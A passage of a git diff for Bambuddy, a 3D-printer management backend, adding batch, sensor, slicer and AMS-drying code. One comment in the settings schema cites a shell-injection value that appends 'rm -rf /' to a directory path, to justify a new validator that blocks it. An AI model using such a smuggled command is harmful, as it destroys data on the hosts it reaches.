 class PrintQueueItemUpdate(BaseModel):
@@ -121,7 +148,7 @@ class PrintQueueItemUpdate(BaseModel):
     use_ams: bool | None = None
     nozzle_offset_cali: TriState | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     gcode_injection: bool | None = None
     cost_center_id: int | None = None
@@ -132,6 +159,15 @@ class PrintQueueItemUpdate(BaseModel):
     nozzle_mapping: list[int] | None = None
 
 
+class QueueVariantSummary(BaseModel):
+    """One candidate on a cross-model queue item, for display (#671)."""
+
+    library_file_id: int
+    filename: str
+    target_model: str
+    position: int
+
+
 class PrintQueueItemResponse(BaseModel):
     id: int
     printer_id: int | None  # None = unassigned
@@ -200,6 +236,12 @@ class PrintQueueItemResponse(BaseModel):
     # 3MFs: when `plate_id` is set, the value is the matching plate's
     # `curr_bed_type` rather than the archive-level first-plate default.
     bed_type: str | None = None
+    # True when the source archive carries the slicer's own live-resolved
+    # AMS-slot pick (extra_data.slicer_ams_mapping) *and* it was resolved
+    # against this row's own printer — the only case where dispatch actually
+    # reuses that exact physical spool instead of the scheduler re-deriving one
+    # from the file's static type/color.
+    archive_has_slicer_ams_mapping: bool = False
 
     # User tracking (Issue #206)
     created_by_id: int | None = None
@@ -209,6 +251,11 @@ class PrintQueueItemResponse(BaseModel):
     batch_id: int | None = None
     batch_name: str | None = None
 
+    # Cross-model alternatives (#671), in priority order. Empty for every
+    # ordinary item. Present until dispatch resolves one onto the row, after
+    # which library_file_id / target_model name the candidate that actually ran.
+    variants: list[QueueVariantSummary] = []
+
     # Shortest-job-first scheduling
     been_jumped: bool = False
 
@@ -277,7 +324,7 @@ class PrintQueueBulkUpdate(BaseModel):
     use_ams: bool | None = None
     nozzle_offset_cali: TriState | None = None
     preheat_override: Literal["inherit", "on", "off"] | None = None
-    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=60)
+    preheat_chamber_target_override: int | None = Field(default=None, ge=0, le=MAX_CHAMBER_TEMP_C)
     # Auto-print G-code injection
     gcode_injection: bool | None = None
     cost_center_id: int | None = None
@@ -292,6 +339,20 @@ class PrintQueueBulkUpdateResponse(BaseModel):
     message: str
 
 
+class PrintBatchPlateTarget(BaseModel):
+    """How many runs of one plate an order wants (#342).
+
+    ``plate_id`` is the plate index inside the source 3MF, or null for a
+    single-plate file — matching ``PrintQueueItem.plate_id``. A target of 0 is
+    legal and means "this plate is not required (yet)".
+    """
+
+    plate_id: int | None = None
+    plate_name: str | None = None
+    quantity_target: int = Field(default=1, ge=0, le=999)
+    sort_order: int = 0
+
+
 class PrintBatchCreate(BaseModel):
     """Create a batch, either empty (multi-plate pre-batch flow) or by
     assigning existing pending queue items into it (manual "Group as batch")."""
@@ -303,6 +364,41 @@ class PrintBatchCreate(BaseModel):
     # the empty-batch flow (client passes the returned id on subsequent
     # addToQueue calls).
     item_ids: list[int] | None = None
+    # Per-plate targets. Omitted entirely by the pre-#342 flows, which produce
+    # a batch that reports progress but owes nothing.
+    plates: list[PrintBatchPlateTarget] | None = None
+    # Planning metadata. Projects own the heavier fields (BOM, attachments,
+    # tags); these two are the ones that are useless without a Project to
+    # hang them on, so the order carries them directly.
+    project_id: int | None = None
+    due_date: datetime | None = None
+    notes: str | None = None
+
+
+class PrintBatchUpdate(BaseModel):
+    """Edit an order's header or its per-plate targets while it runs.
+
+    Every field is optional; ``plates`` replaces the full target set when
+    given, so a plate omitted from the list has its target row removed.
+    """
+
+    name: str | None = None
+    status: Literal["active", "cancelled"] | None = None
+    plates: list[PrintBatchPlateTarget] | None = None
+    project_id: int | None = None
+    due_date: datetime | None = None
+    notes: str | None = None
+
+
+class PrintBatchDispatchRequest(BaseModel):
+    """Create queue items for the runs an order still owes."""
+
+    # Restrict to one plate. Null is a legitimate plate_id (single-plate file),
+    # so the caller opts in explicitly rather than us inferring from null.
+    plate_id: int | None = None
+    only_plate: bool = False
+    # Cap on how many items to create across all plates. None = everything owed.
+    limit: int | None = Field(default=None, ge=1, le=999)
 
 
 class PrintBatchUngroupResponse(BaseModel):
@@ -312,6 +408,28 @@ class PrintBatchUngroupResponse(BaseModel):
     message: str
 
 
+class PrintBatchPlateProgress(BaseModel):
+    """Per-plate progress within a batch."""
+
+    plate_id: int | None = None
+    plate_name: str | None = None
+    quantity_target: int = 0
+    dispatched: int = 0
+    remaining: int = 0
+    pending_count: int = 0
+    printing_count: int = 0
+    completed_count: int = 0
+    failed_count: int = 0
+    cancelled_count: int = 0
+    skipped_count: int = 0
+    # Measured from finished runs, never estimated from the file. Null until
+    # at least one run of this plate has produced a cost.
+    actual_cost: float | None = None
+    estimated_remaining_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+
+
 class PrintBatchResponse(BaseModel):
     """Response for a print batch with progress stats."""
 
@@ -322,14 +440,30 @@ class PrintBatchResponse(BaseModel):
     quantity: int
     status: str
     created_at: UTCDatetime
+    completed_at: UTCDatetime | None = None
     created_by_id: int | None = None
     created_by_username: str | None = None
+    project_id: int | None = None
+    due_date: UTCDatetime | None = None
+    notes: str | None = None
     # Derived counts
     pending_count: int = 0
     printing_count: int = 0
     completed_count: int = 0
     failed_count: int = 0
     cancelled_count: int = 0
+    skipped_count: int = 0
+    # Planning roll-up. has_targets is false for batches created before
+    # per-plate targets existed: they report progress but owe nothing, and the
+    # dispatch endpoint is a no-op for them.
+    has_targets: bool = False
+    target_count: int = 0
+    remaining_count: int = 0
+    actual_cost: float | None = None
+    estimated_remaining_cost: float | None = None
+    filament_used_grams: float | None = None
+    print_time_seconds: int = 0
+    plates: list[PrintBatchPlateProgress] = []
 
     class Config:
         from_attributes = True

+ 8 - 0
backend/app/schemas/printer.py

@@ -2,6 +2,8 @@ from datetime import datetime
 
 from pydantic import BaseModel, Field, field_validator
 
+from backend.app.utils.printer_models import supports_nozzle_flow_type
+
 
 class PrinterBase(BaseModel):
     name: str = Field(..., min_length=1, max_length=100)
@@ -81,6 +83,11 @@ class PrinterResponse(PrinterBase):
     id: int
     is_active: bool
     nozzle_count: int = 1  # 1 or 2, auto-detected from MQTT
+    # Whether the model is sold with both Standard and High Flow nozzles, so a
+    # K-profile's flow type is a real choice rather than a meaningless field.
+    # Derived from the model, not from nozzle_count — see
+    # printer_models.supports_nozzle_flow_type.
+    supports_nozzle_flow_type: bool = True
     print_hours_offset: float = 0.0
     external_camera_url: str | None = None
     external_camera_type: str | None = None
@@ -113,6 +120,7 @@ class PrinterResponse(PrinterBase):
             "camera_rotation": printer.camera_rotation,
             "is_active": printer.is_active,
             "nozzle_count": printer.nozzle_count,
+            "supports_nozzle_flow_type": supports_nozzle_flow_type(printer.model),
             "print_hours_offset": printer.print_hours_offset,
             "plate_detection_enabled": printer.plate_detection_enabled,
             "created_at": printer.created_at,

+ 114 - 0
backend/app/schemas/printer_ha_sensor.py

@@ -0,0 +1,114 @@
+"""Schemas for Home Assistant entities bound to a printer (#1148, #448)."""
+
+from datetime import datetime
+from typing import Literal
+
+from pydantic import BaseModel, Field, model_validator
+
+
+class PrinterHASensorBase(BaseModel):
+    printer_id: int
+    name: str = Field(..., min_length=1, max_length=100)
+    entity_id: str = Field(..., pattern=r"^(binary_sensor|sensor)\.[a-z0-9_]+$")
+    kind: Literal["binary", "numeric"] = "binary"
+    device_class: str | None = Field(default=None, max_length=32)
+    unit: str | None = Field(default=None, max_length=16)
+
+    alert_state: Literal["on", "off"] | None = None
+    alert_above: float | None = None
+    alert_below: float | None = None
+
+    block_print: bool = False
+    notify_on_alert: bool = False
+    show_on_printer_card: bool = True
+    sort_order: int = Field(default=0, ge=0, le=999)
+
+    @model_validator(mode="after")
+    def validate_kind_matches_entity(self) -> "PrinterHASensorBase":
+        domain = self.entity_id.split(".")[0]
+        expected = "binary" if domain == "binary_sensor" else "numeric"
+        if self.kind != expected:
+            raise ValueError(f"kind must be '{expected}' for a {domain} entity")
+
+        # Alert fields are per-kind: a threshold on a door contact and an
+        # on/off alert on a thermometer are both configuration the poller
+        # would silently ignore, so reject them at the edge instead.
+        if self.kind == "binary" and (self.alert_above is not None or self.alert_below is not None):
+            raise ValueError("alert_above/alert_below only apply to numeric sensors")
+        if self.kind == "numeric" and self.alert_state is not None:
+            raise ValueError("alert_state only applies to binary sensors")
+        if self.alert_above is not None and self.alert_below is not None and self.alert_below >= self.alert_above:
+            raise ValueError("alert_below must be lower than alert_above")
+
+        # An interlock or a notification with nothing to trigger on would never
+        # fire — that reads as a broken feature, not as a no-op.
+        if (self.block_print or self.notify_on_alert) and not self._has_alert_condition():
+            raise ValueError("block_print and notify_on_alert require an alert condition")
+        return self
+
+    def _has_alert_condition(self) -> bool:
+        return self.alert_state is not None or self.alert_above is not None or self.alert_below is not None
+
+
+class PrinterHASensorCreate(PrinterHASensorBase):
+    pass
+
+
+class PrinterHASensorUpdate(BaseModel):
+    """Partial update. Validated against the merged row in the route, because
+    the per-kind rules above need fields this payload may not carry."""
+
+    name: str | None = Field(default=None, min_length=1, max_length=100)
+    entity_id: str | None = Field(default=None, pattern=r"^(binary_sensor|sensor)\.[a-z0-9_]+$")
+    kind: Literal["binary", "numeric"] | None = None
+    device_class: str | None = Field(default=None, max_length=32)
+    unit: str | None = Field(default=None, max_length=16)
+    alert_state: Literal["on", "off"] | None = None
+    alert_above: float | None = None
+    alert_below: float | None = None
+    block_print: bool | None = None
+    notify_on_alert: bool | None = None
+    show_on_printer_card: bool | None = None
+    sort_order: int | None = Field(default=None, ge=0, le=999)
+
+
+class PrinterHASensorResponse(PrinterHASensorBase):
+    id: int
+    last_state: str | None = None
+    last_changed: datetime | None = None
+    last_checked: datetime | None = None
+    created_at: datetime
+    updated_at: datetime
+
+    class Config:
+        from_attributes = True
+
+
+class PrinterHASensorReading(BaseModel):
+    """One sensor's live state, as the printer card renders it."""
+
+    id: int
+    name: str
+    entity_id: str
+    kind: str
+    device_class: str | None = None
+    unit: str | None = None
+    # Raw HA state: "on"/"off" for binary, the numeric string for sensors.
+    # None when the entity is unavailable or has not been polled yet.
+    state: str | None = None
+    value: float | None = None  # numeric sensors only, parsed from state
+    alerting: bool = False
+    block_print: bool = False
+    reachable: bool = True
+    last_changed: datetime | None = None
+
+
+class HADisplayEntity(BaseModel):
+    """A bindable entity, as offered by the picker."""
+
+    entity_id: str
+    friendly_name: str
+    state: str | None = None
+    domain: str
+    device_class: str | None = None
+    unit_of_measurement: str | None = None

+ 55 - 2
backend/app/schemas/settings.py

@@ -1,8 +1,10 @@
 import json
+import re
 
 from pydantic import BaseModel, Field, ValidationInfo, field_validator
 
 from backend.app.schemas.print_queue import TriState
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
 
 # Outbound service URLs validated on save, so a bad value is rejected at
 # configuration time with a clear message rather than failing opaquely at
@@ -18,6 +20,18 @@ from backend.app.schemas.print_queue import TriState
 # must be reachable on the public internet, on the stricter OIDC guard).
 LAN_SERVICE_URL_SETTINGS = ("ha_url", "obico_ml_url", "orcaslicer_api_url", "bambu_studio_api_url")
 
+# ``docker_compose_dir`` is unusual among the string settings: it is not
+# consumed by Bambuddy at all, it is interpolated into a shell command that
+# the Settings page invites the user to copy and paste into a root-capable
+# terminal (#2664). A value like ``/opt/bambuddy; rm -rf /`` would render as a
+# perfectly plausible-looking update command, so anyone with settings:update
+# could hand every admin a destructive one-liner to run. Restricting the field
+# to characters that occur in real paths removes that entirely; the frontend
+# double-quotes the value when it contains a space, which is safe precisely
+# because quotes, ``$`` and backticks cannot survive this pattern.
+_COMPOSE_DIR_ALLOWED = re.compile(r"^[\w \-./\\:~]+$", re.UNICODE)
+_COMPOSE_DIR_MAX_LEN = 512
+
 
 class AppSettings(BaseModel):
     """Application settings schema."""
@@ -219,6 +233,14 @@ class AppSettings(BaseModel):
         default="", description="External URL where Bambuddy is accessible (for notification images)"
     )
 
+    # Directory holding the user's docker-compose.yml, shown in the update
+    # instructions so the printed command can be pasted from anywhere (#2664).
+    # Empty means "omit the cd" — which is also the correct rendering when
+    # nothing could be detected, rather than guessing a path that fails.
+    docker_compose_dir: str = Field(
+        default="", description="Host directory containing docker-compose.yml, used in the update instructions"
+    )
+
     # Home Assistant integration for smart plug control
     ha_enabled: bool = Field(default=False, description="Enable Home Assistant integration for smart plug control")
     ha_url: str = Field(default="", description="Home Assistant URL (e.g., http://192.168.1.100:8123)")
@@ -450,7 +472,7 @@ class AppSettings(BaseModel):
     )
     chamber_temp_presets: str = Field(
         default="",
-        description="JSON array of 3 chamber-temperature preset values in C (0-60). Empty = use defaults [35, 45, 60]",
+        description="JSON array of 3 chamber-temperature preset values in C (0-65). Empty = use defaults [35, 45, 60]",
     )
     fan_speed_presets: str = Field(
         default="",
@@ -607,6 +629,7 @@ class AppSettingsUpdate(BaseModel):
     mqtt_topic_prefix: str | None = None
     mqtt_use_tls: bool | None = None
     external_url: str | None = None
+    docker_compose_dir: str | None = None
     ha_enabled: bool | None = None
     ha_url: str | None = None
     ha_token: str | None = None
@@ -714,6 +737,36 @@ class AppSettingsUpdate(BaseModel):
             raise ValueError(str(exc)) from exc
         return v
 
+    @field_validator("docker_compose_dir")
+    @classmethod
+    def validate_docker_compose_dir(cls, v: str | None) -> str | None:
+        """Keep the copy-and-paste update command free of shell injection (#2664).
+
+        Validated on the write path only. Doing it on ``AppSettings`` as well
+        would mean a single bad row — however it got there — 500s the entire
+        settings GET and takes the app down with it, which is a worse outcome
+        than rendering a string that has to be pasted into a shell by hand to
+        do anything at all.
+        """
+        if v is None or not v.strip():
+            return v
+        candidate = v.strip()
+        if len(candidate) > _COMPOSE_DIR_MAX_LEN:
+            raise ValueError(f"Compose directory must be at most {_COMPOSE_DIR_MAX_LEN} characters")
+        if not _COMPOSE_DIR_ALLOWED.match(candidate):
+            raise ValueError(
+                "Compose directory may only contain path characters (letters, digits, space, and - _ . / \\ : ~)"
+            )
+        # A trailing backslash is the one survivor that would still break the
+        # frontend's double-quoting: `cd "/opt/bam buddy\"` escapes the closing
+        # quote and swallows the rest of the line. Harmless (the shell just
+        # waits for a terminator rather than running anything) but the user
+        # would be left staring at a continuation prompt, so refuse it here
+        # instead of shipping a command that cannot work.
+        if candidate.endswith("\\"):
+            raise ValueError("Compose directory must not end with a backslash")
+        return candidate
+
     @field_validator("gcode_snippets")
     @classmethod
     def validate_gcode_snippets(cls, v: str | None) -> str | None:
@@ -783,7 +836,7 @@ class AppSettingsUpdate(BaseModel):
     @field_validator("chamber_temp_presets")
     @classmethod
     def validate_chamber_temp_presets(cls, v: str | None) -> str | None:
-        return cls._validate_preset_triple(v, "chamber_temp_presets", 0, 60)
+        return cls._validate_preset_triple(v, "chamber_temp_presets", 0, MAX_CHAMBER_TEMP_C)
 
     @field_validator("fan_speed_presets")
     @classmethod

+ 21 - 0
backend/app/schemas/slicer.py

@@ -119,6 +119,27 @@ class SliceRequest(BaseModel):
             "process preset unchanged (#1337)."
         ),
     )
+    auto_orient: bool = Field(
+        default=False,
+        description=(
+            "Let the slicer pick each object's orientation before slicing "
+            "(BambuStudio / OrcaSlicer ``--orient 1``, the GUI's 'Auto orient'). "
+            "Off by default: it rotates geometry, so a model the designer laid "
+            "flat on purpose would silently change. Applies on the embedded-"
+            "settings path too — it is a CLI action, not a profile value (#2548)."
+        ),
+    )
+    auto_arrange: bool = Field(
+        default=False,
+        description=(
+            "Let the slicer lay the objects out on the plate before slicing "
+            "(``--arrange 1``, the GUI's 'Auto arrange'). Off by default: it "
+            "repositions objects, discarding a deliberate layout. Forced on "
+            "regardless for cross-nozzle-class re-slices, where the source's "
+            "coordinates land in the target's dead zone (#1493). Applies on the "
+            "embedded-settings path too (#2548)."
+        ),
+    )
 
     @model_validator(mode="after")
     def normalise_preset_refs(self) -> "SliceRequest":

+ 36 - 0
backend/app/services/archive.py

@@ -1145,6 +1145,8 @@ class ArchiveService:
         prefer_filename_for_name: bool = False,
         plate_id: int | None = None,
         library_file_id: int | None = None,
+        slicer_ams_mapping: list[int] | None = None,
+        slicer_ams_mapping_printer_id: int | None = None,
     ) -> PrintArchive | None:
         """Archive a 3MF file with metadata.
 
@@ -1167,6 +1169,21 @@ class ArchiveService:
                 metadata. Used by virtual-printer flows so users who rename a job in
                 BambuStudio's "send to printer" dialog see that name instead of the
                 creator-baked title (#1152).
+            slicer_ams_mapping: The slicer's own live-resolved AMS-slot pick, to persist
+                onto `extra_data.slicer_ams_mapping` for a later reprint to reuse. Deliberately
+                a distinct parameter, not read off `print_data["ams_mapping"]` — that key is
+                populated on every MQTT print-start callback regardless of source (bambu_mqtt's
+                request-topic interception captures it for slicer-direct LAN prints too), so
+                promoting it unconditionally would stamp every archive on installs with no
+                virtual printer at all. Callers that gate this behind an opt-in (the VP-queue
+                "Save AMS mapping" toggle) pass it explicitly; everyone else leaves it unset.
+            slicer_ams_mapping_printer_id: The printer `slicer_ams_mapping`'s tray IDs were
+                resolved against. Required alongside `slicer_ams_mapping` — a global tray ID
+                only means something relative to one printer's specific AMS layout, so a
+                mapping saved without knowing which printer it came from can't be safely
+                reused later on any printer, including the same one (there'd be no way to
+                tell). A model-based VP with no fixed target printer has no valid value to
+                pass here and must leave both params unset.
         """
         # Verify printer exists if specified
         if printer_id is not None:
@@ -1255,6 +1272,25 @@ class ArchiveService:
         if print_data:
             metadata["_print_data"] = print_data
 
+        # Promote the slicer's own live-resolved AMS-slot pick, when the caller
+        # explicitly opted in (see the `slicer_ams_mapping` param docstring for
+        # why this is NOT read off `print_data["ams_mapping"]`), to a stable
+        # top-level extra_data key. Lets a later reprint reuse the exact tray
+        # the user picked/BambuStudio auto-matched at slice time instead of the
+        # scheduler re-deriving one from just the file's static type/color,
+        # which can land on the wrong physical spool when that match isn't
+        # unique. Top-level (not nested under the `_print_data` diagnostic bag)
+        # so API consumers have a single stable path:
+        # `archive.extra_data.slicer_ams_mapping`. Stored together with the
+        # printer it was resolved against — see `slicer_ams_mapping_printer_id`
+        # param docstring — so a later reprint can tell whether it's even
+        # applicable before trying to reuse it.
+        if slicer_ams_mapping and slicer_ams_mapping_printer_id is not None:
+            metadata["slicer_ams_mapping"] = {
+                "mapping": slicer_ams_mapping,
+                "printer_id": slicer_ams_mapping_printer_id,
+            }
+
         # Determine status and timestamps
         status = print_data.get("status", "completed") if print_data else "archived"
         started_at = datetime.now(timezone.utc) if status == "printing" else None

+ 382 - 122
backend/app/services/bambu_mqtt.py

@@ -40,6 +40,22 @@ _AMS_MODULE_PREFIXES = ("ams/", "n3f/", "n3s/")
 # printer_manager.ACTIVE_PRINT_STATES and print_scheduler._ACTIVE_PRINT_STATES.
 _ACTIVE_PRINT_STATES = frozenset({"PREPARE", "SLICING", "RUNNING", "PAUSE"})
 
+# AMS dry_status phases (info bits 4-7) in which a drying cycle is still live, so
+# a dry_time of 0 alongside one of them is a transient rather than a completion
+# (#2759). 0=Off, 4=Stopping and 5=Error all mean the cycle is over or ending and
+# are deliberately excluded — those SHOULD end it.
+_ACTIVE_DRY_STATUSES = frozenset({1, 2, 3})  # Checking, Drying, Cooling
+
+# A drying cycle that runs to term ends with its countdown all but exhausted, so
+# the last dry_time we saw before the drop to 0 tells us whether the firmware
+# ended the cycle on schedule or aborted it. More than this many minutes still on
+# the clock means it was cut short, and the firmware's own reason codes are worth
+# capturing at INFO — #2770 aborted a 12-hour cycle 20 minutes in (700 minutes
+# left), and the log said only "drying complete", so the report carried no
+# evidence of why. The margin absorbs a stale last observation between AMS
+# pushes; it is not a judgement about how short "short" is.
+_EARLY_DRY_END_MINUTES = 5
+
 # CONNACK reason codes that mean the printer actively refused our credentials,
 # as opposed to being unreachable or busy. Bambu speaks MQTT 3.1.1, whose
 # single-byte CONNACK return codes paho maps onto the v5 reason-code space:
@@ -744,6 +760,11 @@ class BambuMQTTClient:
         # — only the dry_time countdown — so we cache what we sent to drive
         # the UI badge. Cleared on stop or on the dry_time falling edge to 0.
         self._drying_targets: dict[int, dict[str, object]] = {}
+        # AMS ids we have sent a stop for and not yet seen end. A stop always
+        # ends a cycle far short of its duration, which on the telemetry alone
+        # is indistinguishable from the firmware abandoning it — so the cycle-end
+        # log would otherwise blame the printer for our own decision (#2770).
+        self._drying_stops_sent: set[int] = set()
 
         self.state = PrinterState()
         self._client: mqtt.Client | None = None
@@ -812,10 +833,17 @@ class BambuMQTTClient:
         # so that missing-serial / missing-firmware warnings fire only once per connection.
         self._ams_version_warned: set[tuple[int | str, str]] = set()
 
-        # K-profile command tracking
+        # K-profile command tracking. One entry per in-flight extrusion_cali_get,
+        # keyed by the sequence_id we sent, so two concurrent requests for
+        # different nozzle sizes can't steal each other's response (#1748).
+        # Value: {"nozzle": str, "event": asyncio.Event, "profiles": list | None}.
         self._sequence_id: int = 0
-        self._pending_kprofile_response: asyncio.Event | None = None
-        self._kprofile_response_data: list | None = None
+        self._pending_kprofile_requests: dict[str, dict] = {}
+        # Acks for K-profile *writes* (extrusion_cali_set / extrusion_cali_del),
+        # keyed by the sequence_id we sent. The printer echoes it back, measured
+        # on both an X1C and an H2D (#2718). Filled by the MQTT thread, drained
+        # by await_cali_ack.
+        self._pending_cali_acks: dict[str, dict | None] = {}
 
         # Xcam hold timers - OrcaSlicer pattern: ignore incoming data for 3 seconds after command
         # Key: module_name, Value: timestamp when command was sent
@@ -1616,8 +1644,63 @@ class BambuMQTTClient:
             if "command" in print_data:
                 cmd = print_data.get("command")
                 logger.debug("[%s] Received command response: %s", self.serial_number, cmd)
-                if cmd in ("extrusion_cali_sel", "extrusion_cali_set", "extrusion_cali_del", "ams_filament_setting"):
+                if cmd in ("extrusion_cali_set", "extrusion_cali_del"):
+                    # INFO, not debug: this is the printer's verdict on a write
+                    # the user just made, and it was invisible in support
+                    # bundles for as long as it sat at DEBUG (#2718). Same
+                    # reasoning as ams_filament_drying below.
+                    logger.info(
+                        "[%s] %s response: result=%s reason=%s seq=%s",
+                        self.serial_number,
+                        cmd,
+                        print_data.get("result"),
+                        print_data.get("reason", ""),
+                        print_data.get("sequence_id"),
+                    )
+                    logger.debug("[%s] %s full response: %s", self.serial_number, cmd, print_data)
+                    ack_seq = str(print_data.get("sequence_id", ""))
+                    if ack_seq in self._pending_cali_acks:
+                        self._pending_cali_acks[ack_seq] = print_data
+                elif cmd in ("extrusion_cali_sel", "ams_filament_setting"):
                     logger.debug("[%s] %s response: %s", self.serial_number, cmd, print_data)
+                    # A refused ams_filament_setting is the printer's verdict on
+                    # a write the user just made, and at DEBUG it never reached
+                    # a support bundle: #2756 reported six manual Configure Slot
+                    # attempts on an X1C, each returning HTTP 200 with the
+                    # read-back still showing the previous profile, and no
+                    # record of what the printer said about any of them. Same
+                    # promotion as extrusion_cali_set (#2718) and
+                    # ams_filament_drying (#1447) — but only on a non-success,
+                    # because unlike those two this command is not rare: every
+                    # spool assignment and every K-profile re-apply sends one,
+                    # so promoting each ack would bury the interesting line.
+                    #
+                    # The developer-mode probe is excluded. It sends this exact
+                    # command to the external slot precisely to see it refused
+                    # on P1 firmware, so its failure is a normal reading rather
+                    # than a fault. Its response is still matched below (this
+                    # runs before _handle_dev_mode_probe_response clears the
+                    # seq), and user-initiated commands can't be mistaken for
+                    # it — they publish a hardcoded sequence_id of "0".
+                    result = print_data.get("result")
+                    is_dev_mode_probe = (
+                        self._dev_mode_probe_seq is not None
+                        and print_data.get("sequence_id") == self._dev_mode_probe_seq
+                    )
+                    if (
+                        cmd == "ams_filament_setting"
+                        and not is_dev_mode_probe
+                        and isinstance(result, str)
+                        and result.lower() != "success"
+                    ):
+                        logger.info(
+                            "[%s] ams_filament_setting refused: result=%s reason=%s ams_id=%s tray_id=%s",
+                            self.serial_number,
+                            result,
+                            print_data.get("reason", ""),
+                            print_data.get("ams_id"),
+                            print_data.get("tray_id"),
+                        )
                 # AMS drying responses are rare (user-initiated only) and the
                 # full payload — including `result` and any `reason` code —
                 # is the only way to diagnose silent rejections like #1447.
@@ -2727,16 +2810,31 @@ class BambuMQTTClient:
                 current = int(raw_dry_time)
             except (TypeError, ValueError):
                 continue
-            previous = self._previous_dry_times.get(ams_id, 0)
-            self._previous_dry_times[ams_id] = current
-            if previous > 0 and current == 0:
-                logger.info(
-                    "[%s] AMS %d drying complete (dry_time %d → 0)",
+            # A dry_time of 0 only means "finished" when the unit also reports
+            # an idle phase. Between the command ack and the countdown settling
+            # the firmware publishes a transient 0 while the AMS is still
+            # Checking — #2759 caught a 720 → 0 → 719 sequence one minute into a
+            # 12-hour cycle. Taking that at face value dropped the cached target
+            # (leaving the badge to guess the filament from tray 1, so a PLA
+            # cycle read "PETG @ 65°C") and fired on_drying_complete, which
+            # schedules smart-plug auto-off. dry_status comes from the same info
+            # hex parsed above; when it is absent we let the edge through, so a
+            # firmware that never reports one still ends its cycles.
+            if current == 0 and ams_unit.get("dry_status") in _ACTIVE_DRY_STATUSES:
+                # Leave the remembered value alone, exactly as the absent-
+                # dry_time skip above does: whichever push ends the cycle for
+                # real must still see a non-zero previous.
+                logger.debug(
+                    "[%s] AMS %d reported dry_time 0 in phase %s — cycle still live, ignoring",
                     self.serial_number,
                     ams_id,
-                    previous,
+                    ams_unit.get("dry_status"),
                 )
-                self._drying_targets.pop(ams_id, None)
+                continue
+            previous = self._previous_dry_times.get(ams_id, 0)
+            self._previous_dry_times[ams_id] = current
+            if previous > 0 and current == 0:
+                self._log_drying_cycle_end(ams_id, previous, ams_unit, self._drying_targets.pop(ams_id, None))
                 if self.on_drying_complete:
                     self.on_drying_complete(ams_id)
 
@@ -2776,6 +2874,71 @@ class BambuMQTTClient:
         if self._pending_assignments:
             self._check_assignment_verifications()
 
+    def _log_drying_cycle_end(
+        self,
+        ams_id: int,
+        remaining: int,
+        ams_unit: dict,
+        target: dict[str, object] | None,
+    ) -> None:
+        """Report a finished drying cycle, with the firmware's reason when it was
+        cut short (#2770).
+
+        A cycle that reaches its configured duration needs no explanation and
+        keeps the one-line "drying complete" it has always had. One that ends
+        with most of its countdown left was ended by somebody, and there are
+        only two candidates: a stop Bambuddy sent — the print-takes-priority
+        stop, or the user's Stop button — which is named as such, or the
+        firmware.
+
+        For the firmware case the only account of why lives in fields we already
+        parse but have never written down: the ``dry_status`` /
+        ``dry_sub_status`` phase from the info hex, the per-unit
+        ``dry_sf_reason`` constraint codes, and whatever HMS errors are live at
+        that moment. Logging them at INFO puts them in every support bundle by
+        default, which is what a report like #2770 needs before its cause can be
+        argued about at all.
+        """
+        if ams_id in self._drying_stops_sent:
+            self._drying_stops_sent.discard(ams_id)
+            logger.info(
+                "[%s] AMS %d drying stopped by Bambuddy (dry_time %d → 0)",
+                self.serial_number,
+                ams_id,
+                remaining,
+            )
+            return
+
+        if remaining <= _EARLY_DRY_END_MINUTES:
+            logger.info(
+                "[%s] AMS %d drying complete (dry_time %d → 0)",
+                self.serial_number,
+                ams_id,
+                remaining,
+            )
+            return
+
+        requested_minutes: int | None = None
+        if target is not None:
+            try:
+                requested_minutes = int(target.get("duration_hours") or 0) * 60 or None
+            except (TypeError, ValueError):
+                requested_minutes = None
+
+        logger.info(
+            "[%s] AMS %d drying ended early — %d of %s minutes still on the clock. "
+            "Bambuddy sent no stop command, so the firmware ended this cycle: "
+            "dry_status=%s dry_sub_status=%s dry_sf_reason=%s hms=%s",
+            self.serial_number,
+            ams_id,
+            remaining,
+            requested_minutes if requested_minutes is not None else "?",
+            ams_unit.get("dry_status"),
+            ams_unit.get("dry_sub_status"),
+            ams_unit.get("dry_sf_reason") or [],
+            [e.full_code for e in self.state.hms_errors] or "none",
+        )
+
     def register_assignment_verification(
         self,
         ams_id: int,
@@ -5404,107 +5567,138 @@ class BambuMQTTClient:
         )
         # Track the active-cycle target so the badge can show "PETG @ 65°C"
         # while drying. Bambu only echoes dry_time on subsequent pushes.
+        # duration_hours is not shown anywhere; it is what lets the cycle-end log
+        # say how much of the requested time the firmware actually ran (#2770).
         if mode == 1:
             self._drying_targets[ams_id] = {
                 "filament": filament or "",
                 "temp": int(temp),
+                "duration_hours": int(duration),
             }
+            self._drying_stops_sent.discard(ams_id)
         else:
             self._drying_targets.pop(ams_id, None)
+            # Remember that this cycle's end is ours, so the cycle-end log
+            # attributes it to Bambuddy instead of to the firmware (#2770). A
+            # stop always ends the cycle far short of its duration, which is
+            # otherwise indistinguishable from the firmware abandoning it.
+            self._drying_stops_sent.add(ams_id)
         return True
 
+    @staticmethod
+    def _parse_kprofile_entries(filaments: list, response_nozzle: str | None, log_errors: bool) -> list[KProfile]:
+        """Build KProfile objects from an ``extrusion_cali_get`` filaments array.
+
+        The printer reports ``nozzle_diameter`` **only on the response
+        envelope** — the per-filament entries carry just setting_id,
+        filament_id, name, k_value, n_coef and cali_idx. Defaulting the
+        per-entry lookup to "0.4" therefore stamped every profile 0.4mm on
+        single-nozzle printers regardless of the installed nozzle (#1748),
+        which broke the K-Profiles display and, worse, the cali_idx cascade
+        in the inventory/Spoolman assign paths that matches on
+        nozzle_diameter. Fall back to the envelope value instead, and only
+        to "0.4" when the envelope has none either.
+
+        ``or`` rather than a dict default on purpose: it also covers an entry
+        that carries the key with an empty value, and stops ``str()`` turning
+        a missing envelope value into the literal "None".
+        """
+        profiles: list[KProfile] = []
+        for i, f in enumerate(filaments):
+            if not isinstance(f, dict):
+                continue
+            try:
+                profiles.append(
+                    KProfile(
+                        # cali_idx is the actual slot/calibration index from the printer
+                        slot_id=f.get("cali_idx", i),
+                        extruder_id=int(f.get("extruder_id", 0)),
+                        nozzle_id=str(f.get("nozzle_id", "")),
+                        nozzle_diameter=str(f.get("nozzle_diameter") or response_nozzle or "0.4"),
+                        filament_id=str(f.get("filament_id", "")),
